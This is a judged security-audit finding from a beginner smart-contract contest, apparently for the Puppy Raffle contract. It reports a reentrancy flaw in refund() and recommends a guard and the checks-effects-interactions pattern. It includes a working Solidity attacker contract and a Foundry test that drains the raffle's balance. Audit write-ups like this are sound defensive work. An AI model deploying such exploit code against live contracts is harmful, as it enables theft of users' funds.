First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

refund() function is open to reentrancy attacks.

syahiramali

Summary

The function refund() is open to reentrancy attacks. Funds from the raffle contract can be drained by an attacker.

Vulnerability Details

The refund() function is subjected to a reentrancy attack. This means that an attacker can reenter the function and drain it of its funds. This is mainly due to the missing reentrancy guard modifier and also lack of check effect interact design in the function, which is caused by a state update after the funds are sent. Which can be seen here:

payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);

An attacker can easily deploy a contract such as below:

contract ReentrancyAttack {
address public target;
uint256 public fee;
uint256 playerIndex;
​
constructor(address _target, uint256 _fee) {
target = payable(_target);
fee = _fee;
}
​
fallback() external payable {
if (target.balance >= fee) {
IPuppyRaffle(target).refund(playerIndex);
}
}
​
function attack() external payable {
require(msg.value == fee, "Not enough to attack");
​
address[] memory players = new address[](1);
players[0] = address(this);
​
IPuppyRaffle(target).enterRaffle{value: msg.value}(players);
​
playerIndex = IPuppyRaffle(target).getActivePlayerIndex(address(this));
​
IPuppyRaffle(target).refund(playerIndex);
}
}

And the attack is demonstrated as per below:

function testReentrancyAttack() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
uint256 raffleBalanceBefore = address(puppyRaffle).balance;
assertGt(raffleBalanceBefore, 0);
​
reentrancyAttack = new ReentrancyAttack(
address(puppyRaffle),
entranceFee
);
​
reentrancyAttack.attack{value: entranceFee}();
​
uint256 raffleBalanceAfter = address(puppyRaffle).balance;
assertEq(raffleBalanceAfter, 0);
}

Impact

The function is left wide open for reentrancy attacks, the attacker can keep on draining the funds until there is none left.

Tools Used

Manual review and foundry

Recommendations

  • A reentrancy guard modifiers should be implemented in the function.

  • The check effect and interaction pattern should be adhered to.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.